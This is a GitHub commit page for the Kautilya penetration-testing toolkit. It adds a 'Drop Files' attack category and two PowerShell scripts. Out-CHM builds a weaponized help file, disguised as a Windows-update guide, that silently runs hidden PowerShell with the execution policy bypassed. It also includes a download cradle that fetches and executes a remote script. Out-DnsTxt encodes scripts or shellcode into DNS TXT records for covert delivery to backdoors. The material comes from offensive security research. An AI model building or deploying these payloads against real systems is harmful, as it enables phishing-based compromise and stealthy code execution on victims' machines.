Skip to content

Commit 9a0175b

Browse files
samratashoksamratashok
committed
Added dropping weaponized files attacks
1 parent 0946db5 commit 9a0175b

21 files changed

Lines changed: 5197 additions & 492 deletions

‎CHANGELOG‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,12 @@
1+
0.5.5
2+
- Added new category of attacks "Drop Files"
3+
- Added "Drop a MS Word File" under Drop Files category.
4+
- Added "Drop a MS Excel File" under Drop Files category.
5+
- Added "Drop a CHM (Compiled HTML Help) file" under Drop Files category.
6+
- Added "Drop a Shortcut (.LNK) file" under Drop Files category.
7+
- Added "Drop a JAR file" under Drop Files category.
8+
- Fixed a bug where function call for "Code Execution using DNS TXT queries" had a typo.
9+
- Improvements to "Code Execution using DNS TXT queries", Rogue AP and "DNS TXT Backdoor".
110
0.5.4
211
- Fixed hash corruption bug in "Hashdump and Exfiltrate" payload.
312
- Changes to Compression and Encoding for some payloads.

‎extras/Out-CHM.ps1‎

Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
2+
function Out-CHM
3+
{
4+
5+
<#
6+
.SYNOPSIS
7+
Nishang script modified for Kautilya, useful for creating Compiled HTML Help file (.CHM) which could be used to run PowerShell commands and scripts.
8+
9+
.DESCRIPTION
10+
The script generates a CHM file which needs to be sent to a target.
11+
You must have hhc.exe (HTML Help Workshop) on your machine to use this script.
12+
HTML Help Workshop is a free Microsoft Tool and could be downloaded from below link:
13+
http://www.microsoft.com/en-us/download/details.aspx?id=21138
14+
15+
.PARAMETER Payload
16+
Payload which you want execute on the target.
17+
18+
.PARAMETER PayloadURL
19+
URL of the powershell script which would be executed on the target.
20+
21+
.PARAMETER Arguments
22+
Arguments to the powershell script to be executed on the target.
23+
24+
.PARAMETER OutputPath
25+
Path to the directory where the files would be saved. Default is the current directory.
26+
27+
.EXAMPLE
28+
PS > Out-CHM -Payload "Get-Process" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
29+
30+
Above command would execute Get-Process on the target machine when the CHM file is opened.
31+
32+
.EXAMPLE
33+
PS > Out-CHM -PayloadURL http://192.168.254.1/Get-Information.ps1 -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
34+
35+
Use above command to generate CHM file which download and execute the given powershell script in memory on target.
36+
37+
.EXAMPLE
38+
PS > Out-CHM -Payload "-EncodedCommand <>" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
39+
40+
Use above command to generate CHM file which executes the encoded command/script.
41+
Use Invoke-Encode from Nishang to encode the command or script.
42+
43+
.EXAMPLE
44+
PS > Out-CHM -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
45+
46+
Use above command to pass an argument to the powershell script/module.
47+
48+
.LINK
49+
http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
50+
https://github.com/samratashok/nishang
51+
52+
.Notes
53+
Based on the work mentioned in this tweet by @ithurricanept
54+
https://twitter.com/ithurricanept/status/534993743196090368
55+
#>
56+
57+
58+
59+
[CmdletBinding()] Param(
60+
61+
[Parameter(Position = 0, Mandatory = $False)]
62+
[String]
63+
$Payload,
64+
65+
[Parameter(Position = 1, Mandatory = $False)]
66+
[String]
67+
$PayloadURL,
68+
69+
[Parameter(Position = 2, Mandatory = $False)]
70+
[String]
71+
$Arguments,
72+
73+
[Parameter(Position = 3, Mandatory = $True)]
74+
[String]
75+
$HHCPath,
76+
77+
[Parameter(Position = 4, Mandatory = $False)]
78+
[String]
79+
$OutputPath="$pwd"
80+
)
81+
82+
#Check if the payload has been provided by the user
83+
if(!$Payload)
84+
{
85+
$Payload = "IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
86+
}
87+
88+
#Create the table of contents for the CHM
89+
$CHMTableOfContents = @"
90+
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
91+
<HTML>
92+
<HEAD>
93+
<meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1">
94+
<!-- Sitemap 1.0 -->
95+
</HEAD><BODY>
96+
<UL>
97+
<LI> <OBJECT type="text/sitemap">
98+
<param name="Name" value="IPv4 Advanced IP Settings Tab">
99+
<param name="Local" value="doc.htm">
100+
</OBJECT>
101+
</UL>
102+
</BODY>
103+
</HTML>
104+
"@
105+
106+
#Create the Project file for the CHM
107+
$CHMProject = @"
108+
[OPTIONS]
109+
Contents file=$OutputPath\doc.hhc
110+
[FILES]
111+
$OutputPath\doc.htm
112+
"@
113+
#Create the HTM files, the first one controls the payload execution.
114+
$CHMHTML1 = @"
115+
<HTML>
116+
<TITLE>Check for Windows updates from Command Line</TITLE>
117+
<HEAD>
118+
</HEAD>
119+
<BODY>
120+
121+
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
122+
<PARAM name="Command" value="ShortCut">
123+
<PARAM name="Button" value="Bitmap::shortcut">
124+
<PARAM name="Item1" value=",cmd.exe,/c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile $Payload">
125+
<PARAM name="Item2" value="273,1,1">
126+
</OBJECT>
127+
128+
<SCRIPT>
129+
x.Click();
130+
</SCRIPT>
131+
132+
133+
</BODY>
134+
</HTML>
135+
"@
136+
137+
138+
#Write all files to disk for compilation
139+
Out-File -InputObject $CHMTableOfContents -FilePath "$OutputPath\doc.hhc" -Encoding default
140+
Out-File -InputObject $CHMHTML1 -FilePath "$OutputPath\doc.htm" -Encoding default
141+
Out-File -InputObject $CHMProject -FilePath "$OutputPath\doc.hhp" -Encoding default
142+
143+
#Compile the CHM, only this needs to be sent to a target.
144+
$HHC = "$HHCPath" + "\hhc.exe"
145+
& "$HHC" "$OutputPath\doc.hhp"
146+
147+
#Cleanup
148+
Remove-Item "$OutputPath\doc.hhc"
149+
Remove-Item "$OutputPath\doc.htm"
150+
Remove-Item "$OutputPath\doc.hhp"
151+
152+
#Create a zip archive of the CHM file
153+
$SourceFile = "$OutputPath\doc.chm"
154+
$ZipFile = "$OutputPath\doc.zip"
155+
#http://stackoverflow.com/questions/11021879/creating-a-zipped-compressed-folder-in-windows-using-powershell-or-the-command-l
156+
if(-not (test-path($ZipFile)))
157+
{
158+
Set-Content $ZipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
159+
}
160+
161+
$shellApplication = new-object -com shell.application
162+
$zippackage = $shellApplication.NameSpace($ZipFile)
163+
$zippackage.copyhere($SourceFile)
164+
165+
#Wait till zip archive is written to the disk
166+
Start-Sleep -Seconds 3
167+
168+
#Read the zip archive in bytes and write to a file
169+
#Use this txt file in Kautilya with the Drop CHM file payload.
170+
[byte[]] $FileContent = Get-Content -Encoding Byte $ZipFile
171+
[System.IO.File]::WriteAllLines("$OutputPath\encodedchm.txt", $FileContent)
172+
173+
#Cleanup
174+
Remove-Item $SourceFile
175+
Remove-Item $ZipFile
176+
177+
}

‎extras/Out-DnsTxt.ps1‎

Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
function Out-DnsTxt
2+
{
3+
<#
4+
.SYNOPSIS
5+
Script for Nishang to generate DNS TXT records which could be used with other scripts.
6+
7+
.DESCRIPTION
8+
Use this script to generate DNS TXT records to be used with DNS_TXT_Pwnage and Execute-DNSTXT-Code.
9+
The script asks for a path to a plain file or string, compresses and encodes it and writes to a file "encodedtxt.txt" in the current working directory.
10+
Each line in the generated file is a DNS TXT record to be saved in separate subbdomain.
11+
The length of DNS TXT records is assumed to be 255 characters by the script.
12+
13+
.PARAMETER DataToEncode
14+
The path of the file to be decoded. Use with -IsString to enter a string.
15+
16+
.PARAMETER OutputFilePath
17+
The path of the output file. Default is "encodedtxt.txt" in the current working directory.
18+
19+
.PARAMETER $LengthOfTXT
20+
The length of the TXT records. Default is 255.
21+
22+
.PARAMETER IsString
23+
Use this to specify the command to be encoded if you are passing a string in place of a filepath.
24+
25+
.EXAMPLE
26+
PS > OUT-DNSTXT -DataToEncode C:\nishang\Gather\Get-Information.ps1
27+
Use above command to generate encoded DNS TXT records. Each record must be put in a separate subdomain.
28+
29+
.EXAMPLE
30+
PS > OUT-DNSTXT "Get-Service" -IsString
31+
Use above to generate TXT records for a command.
32+
33+
34+
.EXAMPLE
35+
PS > OUT-DNSTXT -DataToEncode C:\shellcode\shellcode.txt
36+
Use above command to generate encoded DNS TXT records for a shellcode. Each record must be put in a separate subdomain.
37+
38+
.LINK
39+
http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html
40+
https://github.com/samratashok/nishang
41+
42+
#>
43+
[CmdletBinding()] Param(
44+
[Parameter(Position = 0, Mandatory = $True)]
45+
[String]
46+
$DataToEncode,
47+
48+
[Parameter(Position = 1, Mandatory = $False)]
49+
[String]
50+
$OutputFilePath = "$pwd\encodedtxt.txt",
51+
52+
[Parameter(Mandatory = $False)]
53+
[String]
54+
$LengthOfTXT = 255,
55+
56+
[Switch]
57+
$IsString
58+
)
59+
if($IsString -eq $true)
60+
{
61+
62+
$Enc = $DataToEncode
63+
64+
}
65+
else
66+
{
67+
$Enc = Get-Content $DataToEncode -Encoding Ascii
68+
}
69+
70+
#Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
71+
$ms = New-Object IO.MemoryStream
72+
$action = [IO.Compression.CompressionMode]::Compress
73+
$cs = New-Object IO.Compression.DeflateStream ($ms,$action)
74+
$sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
75+
$Enc | ForEach-Object {$sw.WriteLine($_)}
76+
$sw.Close()
77+
# Base64 encode stream
78+
$Compressed = [Convert]::ToBase64String($ms.ToArray())
79+
$index = [math]::floor($Compressed.Length/$LengthOfTXT)
80+
$i = 0
81+
Out-File -InputObject $null -FilePath $OutputFilePath
82+
#Split encoded input in strings of 255 characters if its length is more than 255.
83+
if ($Compressed.Length -gt $LengthOfTXT)
84+
{
85+
while ($i -lt $index )
86+
{
87+
$TXTRecord = $Compressed.Substring($i*$LengthOfTXT,$LengthOfTXT)
88+
$i +=1
89+
Out-File -InputObject $TXTRecord -FilePath $OutputFilePath -Append
90+
Out-File -InputObject "`n`n`n" -FilePath $OutputFilePath -Append
91+
}
92+
$remainingindex = $Compressed.Length%$LengthOfTXT
93+
if ($remainingindex -ne 0)
94+
{
95+
$TXTRecord = $Compressed.Substring($index*$LengthOfTXT, $remainingindex)
96+
$TotalRecords = $index + 1
97+
}
98+
#Write to file
99+
Out-File -InputObject $TXTRecord -FilePath $OutputFilePath -Append
100+
Write-Output "You need to create $TotalRecords TXT records."
101+
Write-Output "All TXT Records written to $OutputFilePath"
102+
}
103+
#If the input has small length, it could be used in a single subdomain.
104+
else
105+
{
106+
Write-Output "TXT Record could fit in single subdomain."
107+
Write-Output $Compressed
108+
Out-File -InputObject $Compressed -FilePath $OutputFilePath -Append
109+
Write-Output "TXT Records written to $OutputFilePath"
110+
}
111+
112+
113+
}

0 commit comments

Comments
 (0)